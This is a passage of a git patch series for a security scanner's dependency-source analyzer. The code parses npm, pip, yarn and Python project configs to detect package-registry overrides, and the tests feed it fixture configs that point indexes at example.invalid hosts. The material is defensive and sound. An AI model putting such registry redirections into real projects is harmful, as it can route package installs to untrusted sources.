("pip.conf", "[global]\nindex-url = HTTPS://PYPI.ORG/simple/\n"), + ], +) +def test_exact_canonical_defaults_ignore_only_case_and_trailing_slash( + path: str, + content: str, +) -> None: + analysis = _analyze({path: content}) + + assert analysis.findings == () + assert analysis.limitations == () + + +@pytest.mark.parametrize( + "value", + [ + "https://registry.npmjs.org:443/", + "https://registry.npmjs.org:/", + "https://registry.npmjs.org/path", + "https://registry.npmjs.org/?", + "https://registry.npmjs.org/?query=1", + "https://registry.npmjs.org/#", + "https://registry.npmjs.org/#fragment", + ], +) +def test_npm_canonical_origin_variants_remain_noncanonical(value: str) -> None: + analysis = _analyze({".npmrc": f"registry={value}\n"}) + + assert len(analysis.findings) == 1 + assert analysis.limitations == () + + +def test_dispatch_uses_only_deduplicated_component_exact_basenames() -> None: + files = { + "a/.npmrc": "registry=https://a.example.invalid/simple\n", + "b/pip.ini": "[global]\nindex-url=https://b.example.invalid/simple\n", + "ignored/.npmrc.backup": "registry=https://ignored.example.invalid/simple\n", + "cache-only/pip.conf": "[global]\nindex-url=https://ignored.example.invalid/simple\n", + } + + analysis = _analyze( + files, + components=["b/pip.ini", "a/.npmrc", "a/.npmrc", "ignored/.npmrc.backup"], + ) + + assert [finding.file for finding in analysis.findings] == ["a/.npmrc", "b/pip.ini"] + assert analysis.limitations == () + + +@pytest.mark.parametrize( + ("path", "content", "expected_lines"), + [ + ( + ".npmrc", + "@scope:registry=https://first.example.invalid/simple\n" + "registry=https://second.example.invalid/simple\n" + "@SCOPE:REGISTRY=https://third.example.invalid/simple\n", + [2, 3], + ), + ( + "pip.conf", + "[global]\n" + "index-url=https://first.example.invalid/simple\n" + "extra-index-url=https://second.example.invalid/simple\n" + "index_url=https://third.example.invalid/simple\n", + [3, 4], + ), + ], +) +def test_effective_findings_are_ordered_by_occurrence_span( + path: str, + content: str, + expected_lines: list[int], +) -> None: + analysis = _analyze({path: content}) + + assert [finding.start_line for finding in analysis.findings] == expected_lines + assert analysis.limitations == () + + +@pytest.mark.parametrize( + "mutation", + ["missing_inventory", "partial_inventory", "missing_raw", "missing_local", "cache_mismatch"], +) +def test_authoritative_input_failures_are_content_free_limitations(mutation: str) -> None: + path = "pip.conf" + content = "[global]\nindex-url=https://user:secret@packages.example.invalid/simple\n" + raw = {path: content.encode()} + local = {path: content} + inventory = [classify_artifact(path, raw[path])] + if mutation == "missing_inventory": + inventory = [] + elif mutation == "partial_inventory": + inventory[0]["disposition"] = ArtifactDisposition.PARTIAL + inventory[0]["reason"] = "size_limit" + elif mutation == "missing_raw": + raw = {} + elif mutation == "missing_local": + local = {} + else: + local[path] = "[global]\nindex-url=https://different.example.invalid/simple\n" + + analysis = _analyze( + {path: content}, + raw_file_cache=raw, + local_file_cache=local, + artifact_inventory=inventory, + ) + + _assert_single_parse_limitation( + analysis, + path=path, + end_line=3 if path in raw else 1, + ) + assert "secret" not in repr(analysis) + + +def test_invalid_utf8_is_not_analyzed_through_replacement_text() -> None: + path = ".npmrc" + raw = b"registry=https://packages.example.invalid/simple\xff\n" + inventory = [classify_artifact(path, raw)] + + analysis = _analyze( + {path: raw.decode("utf-8", errors="replace")}, + raw_file_cache={path: raw}, + artifact_inventory=inventory, + ) + + _assert_single_parse_limitation(analysis, path=path, end_line=2) + + +def test_inventory_size_proves_incomplete_physical_input_before_parsing() -> None: + path = ".npmrc" + content = "registry=https://packages.example.invalid/simple\n" + raw = content.encode() + inventory = classify_artifact(path, raw) + inventory["size_bytes"] = 1_000_001 + + analysis = _analyze({path: content}, artifact_inventory=[inventory]) + + limitation = _assert_single_parse_limitation(analysis, path=path, end_line=2) + assert limitation.ledger_metrics() == { + "observed_bytes": 1_000_001, + "limit_bytes": 1_000_000, + } + + +def test_scan_wide_config_node_exhaustion_is_reported_without_a_partial_result() -> None: + budget = DependencyWorkBudget() + assert budget.charge_config_nodes(MAX_DEPENDENCY_CONFIG_NODES) is None + + analysis = _analyze( + {".npmrc": "registry=https://packages.example.invalid/simple\n"}, + budget=budget, + ) + + limitation = _assert_single_parse_limitation(analysis, path=".npmrc", end_line=2) + assert limitation.ledger_metrics() == { + "observed_records": MAX_DEPENDENCY_CONFIG_NODES + 1, + "limit_records": MAX_DEPENDENCY_CONFIG_NODES, + } + + +_BUDGET_LITERAL = "https://packages.example.invalid/simple" + + +@pytest.mark.parametrize("resource", ["retained", "records", "changes"]) +def test_candidate_budget_exact_limits_still_emit_the_finding(resource: str) -> None: + budget = DependencyWorkBudget() + if resource == "retained": + assert ( + budget.charge_retained_literal_bytes( + MAX_DEPENDENCY_RETAINED_LITERAL_BYTES - len(_BUDGET_LITERAL.encode()) + ) + is None + ) + elif resource == "records": + assert budget.charge_source_records(MAX_DEPENDENCY_SOURCE_RECORDS - 1) is None + else: + assert budget.reserve_source_changes(MAX_DEPENDENCY_SOURCE_CHANGES - 1) is None + + analysis = _analyze({".npmrc": f"registry={_BUDGET_LITERAL}\n"}, budget=budget) + + assert len(analysis.findings) == 1 + assert analysis.limitations == () + + +@pytest.mark.parametrize("resource", ["retained", "records", "changes"]) +def test_candidate_budget_one_over_preserves_prior_reserved_change_and_adds_limitation( + resource: str, +) -> None: + budget = DependencyWorkBudget() + if resource == "retained": + assert ( + budget.charge_retained_literal_bytes( + MAX_DEPENDENCY_RETAINED_LITERAL_BYTES - len(_BUDGET_LITERAL.encode()) + ) + is None + ) + elif resource == "records": + assert budget.charge_source_records(MAX_DEPENDENCY_SOURCE_RECORDS - 1) is None + else: + assert budget.reserve_source_changes(MAX_DEPENDENCY_SOURCE_CHANGES - 1) is None + content = f"registry={_BUDGET_LITERAL}\n@scope:registry={_BUDGET_LITERAL}\n" + + analysis = _analyze({".npmrc": content}, budget=budget) + + assert [finding.start_line for finding in analysis.findings] == [1] + assert len(analysis.limitations) == 1 + limitation = analysis.limitations[0] + assert limitation.reason is DependencySourceLimitationReason.PARSE_INCOMPLETE + assert limitation.ledger_metrics() + assert set(limitation.ledger_metrics()) in ( + {"observed_bytes", "limit_bytes"}, + {"observed_records", "limit_records"}, + {"observed_findings", "limit_findings"}, + ) + + +@pytest.mark.parametrize( + "content", + [ + "index-url=https://packages.example.invalid/simple\n", + "[global\nindex-url=https://packages.example.invalid/simple\n", + "[global]\nindex-url=\n", + ], +) +def test_malformed_pip_configs_are_localized_limitations(content: str) -> None: + analysis = _analyze({"pip.conf": content}) + + _assert_single_parse_limitation( + analysis, + path="pip.conf", + end_line=max(1, content.encode().count(b"\n") + 1), + ) diff --git a/tests/nodes/analyzers/test_sc10_gap_corpus.py b/tests/nodes/analyzers/test_sc10_gap_corpus.py index 9a23326c..9c639ec1 100644 --- a/tests/nodes/analyzers/test_sc10_gap_corpus.py +++ b/tests/nodes/analyzers/test_sc10_gap_corpus.py @@ -13,6 +13,9 @@ import pytest +from skillspector.artifacts import classify_artifact +from skillspector.dependency_source_types import DependencyWorkBudget + DATA_DIR = Path(__file__).with_name("data") DATA_FILES = (DATA_DIR / "sc10_findings.json", DATA_DIR / "sc10_controls.json") STATUS_VALUES = {"fixed", "unfixed", "deferred"} @@ -147,7 +150,7 @@ def test_corpus_schema_and_self_checks() -> None: path, content = next(iter(row["files"].items())) assert isinstance(path, str) and path assert isinstance(content, str) - physical_line_count = len(content.splitlines()) + physical_line_count = max(1, content.encode("utf-8").count(b"\n") + 1) assert physical_line_count >= 1 file_inputs.append((path, content)) assert isinstance(row["expected_sc10"], list) @@ -177,7 +180,10 @@ def test_corpus_schema_and_self_checks() -> None: assert set(row["expected_limitation"]) == {"reason", "path", "range"} assert isinstance(row["expected_limitation"]["reason"], str) assert row["expected_limitation"]["reason"] - assert row["expected_limitation"]["reason"] == "unscanned_executable_content" + assert row["expected_limitation"]["reason"] in { + "dependency_source_parse_incomplete", + "unscanned_executable_content", + } assert isinstance(row["expected_limitation"]["path"], str) assert row["expected_limitation"]["path"] assert row["expected_limitation"]["path"] == path @@ -200,7 +206,14 @@ def test_dependency_source_behavior(row: dict[str, Any]) -> None: pytest.fail(f"real dependency-source analyzer is unavailable: {exc}") files = row["files"] - analysis = analyze_dependency_sources(sorted(files), files, []) + raw_files = {path: content.encode("utf-8") for path, content in files.items()} + analysis = analyze_dependency_sources( + components=sorted(files), + local_file_cache=files, + raw_file_cache=raw_files, + artifact_inventory=[classify_artifact(path, raw_files[path]) for path in sorted(raw_files)], + budget=DependencyWorkBudget(), + ) findings = list(getattr(analysis, "findings", analysis)) limitations = list(getattr(analysis, "limitations", [])) actual_sc10 = [ @@ -213,3 +226,4 @@ def test_dependency_source_behavior(row: dict[str, Any]) -> None: actual_limitations = [_normalized_limitation(item) for item in limitations] assert len(actual_limitations) == len(expected_limitations) assert _multiset(actual_limitations) == _multiset(expected_limitations) + assert row["status"] == "fixed", "unimplemented corpus rows remain explicit red gates" diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index a7834938..e5f39fdd 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -161,6 +161,21 @@ def test_dependency_ecosystem_has_fixed_pr2_parser_categories( assert api.DependencyEcosystem(value) is member +@pytest.mark.parametrize( + ("value", "member_name"), + [(".npmrc", "NPMRC"), ("pip config", "PIP_CONFIG")], +) +def test_dependency_surface_has_fixed_direct_config_categories( + value: str, + member_name: str, +) -> None: + api = _api() + + member = getattr(api.DependencySourceSurface, member_name) + + assert api.DependencySourceSurface(value) is member + + @pytest.mark.parametrize( "raw_destination", [ From e2d97540aa1e7c6fc6360358d9b14fc71413e40e Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 22:12:01 -0700 Subject: [PATCH 16/30] fix(sc10): honor pip config inheritance Signed-off-by: Nir Paz --- src/skillspector/dependency_sources.py | 141 +++++++++++++----- .../analyzers/test_dependency_sources.py | 136 +++++++++++++++++ 2 files changed, 242 insertions(+), 35 deletions(-) diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index 4a241b49..c68a2e50 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -40,6 +40,7 @@ _PIP_INTERPOLATION: Final = re.compile(r"%\([^)]+\)s") _PIP_ASSIGNMENT: Final = re.compile(r"^\s*([^:=\s][^:=]*?)\s*([=:])\s*(.*)$") _PIP_SECTION: Final = re.compile(r"^\s*\[([^]]+)]\s*(?:[#;].*)?$") +_PIP_OPTIONS: Final = ("index-url", "extra-index-url") @dataclass(frozen=True, slots=True) @@ -160,6 +161,39 @@ def _normalize_literal(value: str) -> tuple[str, int, int] | None: return trimmed, left, left + len(trimmed) +def _normalize_pip_option(value: str) -> str: + normalized = value.strip() + if normalized.startswith("--") and not normalized.startswith("---"): + normalized = normalized[2:] + return normalized.casefold().replace("_", "-") + + +def _normalize_pip_section(value: str) -> str: + return value.strip().casefold().replace("_", "-") + + +class _PipConfigParser(configparser.ConfigParser): + def optionxform(self, optionstr: str) -> str: + return _normalize_pip_option(optionstr) + + +def _normalized_pip_parser_text(lines: Sequence[str]) -> str: + normalized_lines: list[str] = [] + for line in lines: + section = _PIP_SECTION.fullmatch(line) + if section is None: + normalized_lines.append(line) + continue + raw_name = section.group(1).strip() + normalized_name = ( + raw_name if raw_name == configparser.DEFAULTSECT else _normalize_pip_section(raw_name) + ) + normalized_lines.append( + f"{line[: section.start(1)]}{normalized_name}{line[section.end(1) :]}" + ) + return "\n".join(normalized_lines) + + def _canonical_destination(ecosystem: DependencyEcosystem, value: str) -> bool: if "?" in value or "#" in value: return False @@ -318,6 +352,22 @@ def _pip_fragments( return fragments +def _pip_fragments_match_value( + fragments: Sequence[_ValueFragment], + configured_value: str, + raw: bytes, +) -> bool: + normalized = _normalize_literal(configured_value) + if normalized is None: + return False + literal, _start, _end = normalized + configured_tokens = re.findall(r"\S+", literal) + occurrence_tokens = [ + raw[fragment.start_byte : fragment.end_byte].decode("utf-8") for fragment in fragments + ] + return configured_tokens == occurrence_tokens + + def _parse_pip( path: str, text: str, @@ -327,10 +377,11 @@ def _parse_pip( lines = _physical_lines(text) offsets = _line_offsets(text) section: str | None = None - current_key: tuple[str, str] | None = None + section_seen = False + current_key: tuple[str | None, str] | None = None current_fragments: list[_ValueFragment] | None = None current_indent: int | None = None - effective: dict[tuple[str, str], list[_ValueFragment]] = {} + occurrences: dict[tuple[str | None, str], list[_ValueFragment]] = {} for line_number, line in enumerate(lines, start=1): stripped = line.strip() @@ -342,7 +393,13 @@ def _parse_pip( return DependencySourceParseResult( limitations=(_limitation(path, raw, exhaustion),) ) - section = section_match.group(1).strip().casefold().replace("_", "-") + raw_section = section_match.group(1).strip() + section = ( + None + if raw_section == configparser.DEFAULTSECT + else _normalize_pip_section(raw_section) + ) + section_seen = True current_key = None current_fragments = None current_indent = None @@ -364,7 +421,7 @@ def _parse_pip( if fragments is None: return DependencySourceParseResult(limitations=(_limitation(path, raw),)) current_fragments.extend(fragments) - effective[current_key] = current_fragments + occurrences[current_key] = current_fragments continue assignment = _PIP_ASSIGNMENT.fullmatch(line) current_key = None @@ -372,10 +429,10 @@ def _parse_pip( current_indent = None if assignment is None: continue - normalized_key = assignment.group(1).strip().lower().replace("_", "-") - if normalized_key not in {"index-url", "extra-index-url"}: + normalized_key = _normalize_pip_option(assignment.group(1)) + if normalized_key not in _PIP_OPTIONS: continue - if section is None: + if not section_seen: return DependencySourceParseResult(limitations=(_limitation(path, raw),)) if exhaustion := budget.charge_config_nodes(1): return DependencySourceParseResult(limitations=(_limitation(path, raw, exhaustion),)) @@ -392,47 +449,61 @@ def _parse_pip( current_key = (section, normalized_key) current_fragments = fragments or [] current_indent = indent - effective[current_key] = current_fragments + occurrences[current_key] = current_fragments - if any(not fragments for fragments in effective.values()): + if any(not fragments for fragments in occurrences.values()): return DependencySourceParseResult(limitations=(_limitation(path, raw),)) - parser = configparser.ConfigParser( + parser = _PipConfigParser( interpolation=None, strict=False, delimiters=("=", ":"), ) try: - parser.read_string(text) + parser.read_string(_normalized_pip_parser_text(lines)) except configparser.Error: return DependencySourceParseResult(limitations=(_limitation(path, raw),)) candidates: list[_Candidate] = [] - for (raw_section, normalized_key), fragments in effective.items(): - for fragment in fragments: - candidates.append( - _Candidate( - ecosystem=DependencyEcosystem.PIP, - surface=DependencySourceSurface.PIP_CONFIG, - operation=( - DependencySourceOperation.REPLACE - if normalized_key == "index-url" - else DependencySourceOperation.ADD - ), - scope=( - DependencySourceScope.GLOBAL - if raw_section == "global" - else DependencySourceScope.COMMAND - ), - span=SourceSpan( - path, - fragment.start_byte, - fragment.end_byte, - fragment.line, - fragment.line, - ), + for concrete_section in parser.sections(): + effective_values = dict(parser.items(concrete_section, raw=True)) + for normalized_key in _PIP_OPTIONS: + configured_value = effective_values.get(normalized_key) + if configured_value is None: + continue + fragments = occurrences.get((concrete_section, normalized_key)) + if fragments is None: + fragments = occurrences.get((None, normalized_key)) + if fragments is None or not _pip_fragments_match_value( + fragments, + configured_value, + raw, + ): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + for fragment in fragments: + candidates.append( + _Candidate( + ecosystem=DependencyEcosystem.PIP, + surface=DependencySourceSurface.PIP_CONFIG, + operation=( + DependencySourceOperation.REPLACE + if normalized_key == "index-url" + else DependencySourceOperation.ADD + ), + scope=( + DependencySourceScope.GLOBAL + if concrete_section == "global" + else DependencySourceScope.COMMAND + ), + span=SourceSpan( + path, + fragment.start_byte, + fragment.end_byte, + fragment.line, + fragment.line, + ), + ) ) - ) candidates.sort(key=lambda candidate: candidate.span.start_byte) return _changes_from_candidates(candidates, path=path, raw=raw, budget=budget) diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py index eedce03b..e8e6f3a8 100644 --- a/tests/nodes/analyzers/test_dependency_sources.py +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -235,6 +235,142 @@ def test_pip_same_indent_options_are_assignments_not_continuation_tokens() -> No assert [finding.start_line for finding in analysis.findings] == [2, 3] +@pytest.mark.parametrize( + ("option", "operation"), + [("--index-url", "replace"), ("--EXTRA_INDEX_URL", "add")], +) +def test_pip_accepts_exactly_one_leading_double_dash( + option: str, + operation: str, +) -> None: + analysis = _analyze( + {"pip.conf": f"[global]\n{option}=https://packages.example.invalid/simple\n"} + ) + + assert analysis.limitations == () + assert len(analysis.findings) == 1 + assert analysis.findings[0].evidence["operation"] == operation + + +@pytest.mark.parametrize("option", ["-index-url", "---index-url", "--trusted-host"]) +def test_pip_rejects_invalid_dash_counts_and_unrelated_options(option: str) -> None: + analysis = _analyze( + {"pip.conf": f"[global]\n{option}=https://packages.example.invalid/simple\n"} + ) + + assert analysis.findings == () + assert analysis.limitations == () + + +def test_pip_double_dash_and_plain_spellings_share_last_value_semantics() -> None: + content = ( + "[global]\n" + "index-url=https://first.example.invalid/simple\n" + "--INDEX_URL=https://effective.example.invalid/simple\n" + ) + + analysis = _analyze({"pip.conf": content}) + + assert analysis.limitations == () + assert [finding.start_line for finding in analysis.findings] == [3] + assert analysis.findings[0].evidence["destination"] == ( + "https://effective.example.invalid/REDACTED_PATH" + ) + + +def test_pip_double_dash_value_has_an_exact_utf8_byte_span() -> None: + module = importlib.import_module("skillspector.dependency_sources") + prefix = "# multibyte é\r\n[global]\r\n--INDEX_URL = " + destination = "https://packages.example.invalid/simple" + content = f"{prefix}{destination}\r\n" + + parsed = module._parse_file( + "pip.conf", + content, + content.encode(), + DependencyWorkBudget().for_file("pip.conf"), + ) + + assert parsed.limitations == () + assert len(parsed.changes) == 1 + assert (parsed.changes[0].span.start_byte, parsed.changes[0].span.end_byte) == ( + len(prefix.encode()), + len(f"{prefix}{destination}".encode()), + ) + + +def test_pip_default_only_does_not_create_an_effective_concrete_source() -> None: + analysis = _analyze( + {"pip.conf": ("[DEFAULT]\nindex-url=https://packages.example.invalid/simple\n")} + ) + + assert analysis.findings == () + assert analysis.limitations == () + + +def test_pip_concrete_override_suppresses_an_inherited_default() -> None: + content = ( + "[DEFAULT]\n" + "index-url=https://packages.example.invalid/simple\n" + "[global]\n" + "index-url=https://pypi.org/simple\n" + ) + + analysis = _analyze({"pip.conf": content}) + + assert analysis.findings == () + assert analysis.limitations == () + + +@pytest.mark.parametrize( + ("section", "scope"), + [("global", "global"), ("install", "command")], +) +def test_pip_inherited_default_uses_concrete_scope_and_default_occurrence( + section: str, + scope: str, +) -> None: + content = ( + f"[DEFAULT]\nindex-url=https://packages.example.invalid/simple\n[{section}]\ntimeout=30\n" + ) + + analysis = _analyze({"pip.conf": content}) + + assert analysis.limitations == () + assert len(analysis.findings) == 1 + finding = analysis.findings[0] + assert finding.evidence["scope"] == scope + assert finding.start_line == 2 + + +def test_pip_default_inheritance_and_overrides_remain_independent_per_section() -> None: + content = ( + "[DEFAULT]\n" + "index-url=https://default.example.invalid/simple\n" + "extra-index-url=https://extra.example.invalid/simple\n" + "[global]\n" + "index-url=https://pypi.org/simple\n" + "[install]\n" + "extra-index-url=https://install.example.invalid/simple\n" + "[download]\n" + "timeout=30\n" + ) + + analysis = _analyze({"pip.conf": content}) + + assert analysis.limitations == () + assert [ + (finding.start_line, finding.evidence["operation"], finding.evidence["scope"]) + for finding in analysis.findings + ] == [ + (2, "replace", "command"), + (2, "replace", "command"), + (3, "add", "global"), + (3, "add", "command"), + (7, "add", "command"), + ] + + @pytest.mark.parametrize( ("path", "content", "expected_start", "expected_end", "expected_line"), [ From 3892997b81500439b2ea69c2895d79d88356e84c Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 22:15:04 -0700 Subject: [PATCH 17/30] fix(sc10): preserve pip section identity Signed-off-by: Nir Paz --- src/skillspector/dependency_sources.py | 31 ++----------------- .../analyzers/test_dependency_sources.py | 17 +++++----- 2 files changed, 13 insertions(+), 35 deletions(-) diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index c68a2e50..a3f32f1f 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -168,32 +168,11 @@ def _normalize_pip_option(value: str) -> str: return normalized.casefold().replace("_", "-") -def _normalize_pip_section(value: str) -> str: - return value.strip().casefold().replace("_", "-") - - class _PipConfigParser(configparser.ConfigParser): def optionxform(self, optionstr: str) -> str: return _normalize_pip_option(optionstr) -def _normalized_pip_parser_text(lines: Sequence[str]) -> str: - normalized_lines: list[str] = [] - for line in lines: - section = _PIP_SECTION.fullmatch(line) - if section is None: - normalized_lines.append(line) - continue - raw_name = section.group(1).strip() - normalized_name = ( - raw_name if raw_name == configparser.DEFAULTSECT else _normalize_pip_section(raw_name) - ) - normalized_lines.append( - f"{line[: section.start(1)]}{normalized_name}{line[section.end(1) :]}" - ) - return "\n".join(normalized_lines) - - def _canonical_destination(ecosystem: DependencyEcosystem, value: str) -> bool: if "?" in value or "#" in value: return False @@ -393,12 +372,8 @@ def _parse_pip( return DependencySourceParseResult( limitations=(_limitation(path, raw, exhaustion),) ) - raw_section = section_match.group(1).strip() - section = ( - None - if raw_section == configparser.DEFAULTSECT - else _normalize_pip_section(raw_section) - ) + raw_section = section_match.group(1) + section = None if raw_section == configparser.DEFAULTSECT else raw_section section_seen = True current_key = None current_fragments = None @@ -460,7 +435,7 @@ def _parse_pip( delimiters=("=", ":"), ) try: - parser.read_string(_normalized_pip_parser_text(lines)) + parser.read_string(text) except configparser.Error: return DependencySourceParseResult(limitations=(_limitation(path, raw),)) diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py index e8e6f3a8..f8768463 100644 --- a/tests/nodes/analyzers/test_dependency_sources.py +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -204,21 +204,24 @@ def test_pip_handles_delimiters_continuations_and_normalized_last_values() -> No ] -def test_pip_last_values_use_normalized_section_identity() -> None: +def test_pip_sections_keep_exact_configparser_identity() -> None: content = ( - "[Install]\n" + "[GLOBAL]\n" "index-url = https://first.example.invalid/simple\n" - "[install]\n" + "[global]\n" "index_url = https://effective.example.invalid/simple\n" ) analysis = _analyze({"pip.conf": content}) assert analysis.limitations == () - assert [finding.start_line for finding in analysis.findings] == [4] - assert analysis.findings[0].evidence["destination"] == ( - "https://effective.example.invalid/REDACTED_PATH" - ) + assert [ + (finding.start_line, finding.evidence["scope"], finding.evidence["destination"]) + for finding in analysis.findings + ] == [ + (2, "command", "https://first.example.invalid/REDACTED_PATH"), + (4, "global", "https://effective.example.invalid/REDACTED_PATH"), + ] def test_pip_same_indent_options_are_assignments_not_continuation_tokens() -> None: From 93e83e08c9c23b832d3b9c9fec37f31b433a53ee Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 22:23:14 -0700 Subject: [PATCH 18/30] perf(sc10): bound pip option lookups Signed-off-by: Nir Paz --- src/skillspector/dependency_sources.py | 8 ++- .../analyzers/test_dependency_sources.py | 57 +++++++++++++++++++ 2 files changed, 63 insertions(+), 2 deletions(-) diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index a3f32f1f..47f79394 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -441,9 +441,13 @@ def _parse_pip( candidates: list[_Candidate] = [] for concrete_section in parser.sections(): - effective_values = dict(parser.items(concrete_section, raw=True)) for normalized_key in _PIP_OPTIONS: - configured_value = effective_values.get(normalized_key) + configured_value = parser.get( + concrete_section, + normalized_key, + raw=True, + fallback=None, + ) if configured_value is None: continue fragments = occurrences.get((concrete_section, normalized_key)) diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py index f8768463..8dc99e74 100644 --- a/tests/nodes/analyzers/test_dependency_sources.py +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -374,6 +374,63 @@ def test_pip_default_inheritance_and_overrides_remain_independent_per_section() ] +def test_pip_queries_only_relevant_options_per_concrete_section( + monkeypatch: pytest.MonkeyPatch, +) -> None: + module = importlib.import_module("skillspector.dependency_sources") + get_calls: list[tuple[str, str, bool]] = [] + items_calls: list[str] = [] + original_get = module._PipConfigParser.get + original_items = module._PipConfigParser.items + + def counted_get( + parser: Any, + section: str, + option: str, + *args: Any, + **kwargs: Any, + ) -> Any: + get_calls.append((section, option, kwargs.get("raw", False))) + return original_get(parser, section, option, *args, **kwargs) + + def counted_items(parser: Any, section: str, *args: Any, **kwargs: Any) -> Any: + items_calls.append(section) + return original_items(parser, section, *args, **kwargs) + + monkeypatch.setattr(module._PipConfigParser, "get", counted_get) + monkeypatch.setattr(module._PipConfigParser, "items", counted_items) + irrelevant_defaults = "".join(f"setting-{index}=value-{index}\n" for index in range(64)) + content = ( + "[DEFAULT]\n" + "index-url=https://default.example.invalid/simple\n" + f"{irrelevant_defaults}" + "[global]\n" + "timeout=30\n" + "[install]\n" + "index-url=https://pypi.org/simple\n" + "[download]\n" + "extra-index-url=https://download.example.invalid/simple\n" + ) + + analysis = _analyze({"pip.conf": content}) + + assert analysis.limitations == () + assert [ + (finding.evidence["operation"], finding.evidence["scope"], finding.start_line) + for finding in analysis.findings + ] == [ + ("replace", "global", 2), + ("replace", "command", 2), + ("add", "command", 72), + ] + assert items_calls == [] + assert get_calls == [ + (section, option, True) + for section in ("global", "install", "download") + for option in ("index-url", "extra-index-url") + ] + + @pytest.mark.parametrize( ("path", "content", "expected_start", "expected_end", "expected_line"), [ From 4a56c34c22260ad4d6b5244607b560d20054e53c Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 22:45:35 -0700 Subject: [PATCH 19/30] feat(sc10): parse yarn and Python tool sources Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 2 + src/skillspector/dependency_sources.py | 939 +++++++++++++++++- tests/nodes/analyzers/data/sc10_controls.json | 32 +- tests/nodes/analyzers/data/sc10_findings.json | 52 +- .../analyzers/test_dependency_sources.py | 523 ++++++++++ 5 files changed, 1490 insertions(+), 58 deletions(-) diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index 032c5755..73042ae2 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -59,6 +59,8 @@ class DependencySourceSurface(StrEnum): NPMRC = ".npmrc" PIP_CONFIG = "pip config" + YARN_CONFIG = "yarn-config" + PYTHON_PROJECT_CONFIG = "python-project-config" SOURCE = "source" REPOSITORY = "repository" MIRROR = "mirror" diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index 47f79394..cf339215 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -6,12 +6,28 @@ from __future__ import annotations import configparser +import json import re +import tomllib from collections.abc import Iterable, Mapping, Sequence -from dataclasses import dataclass +from dataclasses import dataclass, field from typing import Final from urllib.parse import urlsplit +import yaml # type: ignore[import-untyped] +from yaml.events import ( # type: ignore[import-untyped] + AliasEvent, + CollectionEndEvent, + CollectionStartEvent, + MappingEndEvent, + MappingStartEvent, + ScalarEvent, + SequenceEndEvent, + SequenceStartEvent, +) +from yaml.parser import ParserError # type: ignore[import-untyped] +from yaml.scanner import ScannerError # type: ignore[import-untyped] + from skillspector.artifacts import ArtifactDisposition, ArtifactRecord, ContentKind from skillspector.dependency_source_types import ( DependencyEcosystem, @@ -34,13 +50,34 @@ _NPM_BASENAMES: Final = frozenset({".npmrc", "npmrc"}) _PIP_BASENAMES: Final = frozenset({"pip.conf", "pip.ini"}) -_RECOGNIZED_BASENAMES: Final = _NPM_BASENAMES | _PIP_BASENAMES +_YARN_V1_BASENAMES: Final = frozenset({".yarnrc"}) +_YARN_YAML_BASENAMES: Final = frozenset({".yarnrc.yml", ".yarnrc.yaml"}) +_PYTHON_PROJECT_BASENAMES: Final = frozenset({"pyproject.toml", "uv.toml"}) +_RECOGNIZED_BASENAMES: Final = ( + _NPM_BASENAMES + | _PIP_BASENAMES + | _YARN_V1_BASENAMES + | _YARN_YAML_BASENAMES + | _PYTHON_PROJECT_BASENAMES +) _NPM_SCOPED_REGISTRY: Final = re.compile(r"^@[^:\s]+:registry$", re.IGNORECASE) +_YARN_SCOPED_REGISTRY: Final = re.compile(r"^@[^:\s]+:registry$") _NPM_INTERPOLATION: Final = re.compile(r"\$\{[^{}]+\}") _PIP_INTERPOLATION: Final = re.compile(r"%\([^)]+\)s") +_PDM_INTERPOLATION: Final = re.compile(r"\$\{[A-Za-z_][A-Za-z0-9_]*\}") _PIP_ASSIGNMENT: Final = re.compile(r"^\s*([^:=\s][^:=]*?)\s*([=:])\s*(.*)$") _PIP_SECTION: Final = re.compile(r"^\s*\[([^]]+)]\s*(?:[#;].*)?$") _PIP_OPTIONS: Final = ("index-url", "extra-index-url") +_CANONICAL_DEFAULTS: Final[dict[DependencyEcosystem, frozenset[str]]] = { + DependencyEcosystem.NPM: frozenset({"https://registry.npmjs.org/"}), + DependencyEcosystem.YARN: frozenset({"https://registry.yarnpkg.com/"}), + DependencyEcosystem.PIP: frozenset({"https://pypi.org/simple/"}), + DependencyEcosystem.POETRY: frozenset({"https://pypi.org/simple/"}), + DependencyEcosystem.PDM: frozenset({"https://pypi.org/simple/"}), + DependencyEcosystem.UV: frozenset({"https://pypi.org/simple/"}), +} +_MISSING: Final = object() +_WRONG_SHAPE: Final = object() @dataclass(frozen=True, slots=True) @@ -50,6 +87,7 @@ class _Candidate: operation: DependencySourceOperation scope: DependencySourceScope span: SourceSpan + destination: str | None = None @dataclass(frozen=True, slots=True) @@ -59,6 +97,31 @@ class _ValueFragment: end_byte: int +@dataclass(slots=True) +class _YamlNode: + kind: str + start_char: int + end_char: int + start_line: int + end_line: int + value: str | None = None + tag: str | None = None + anchor: str | None = None + items: list[_YamlNode 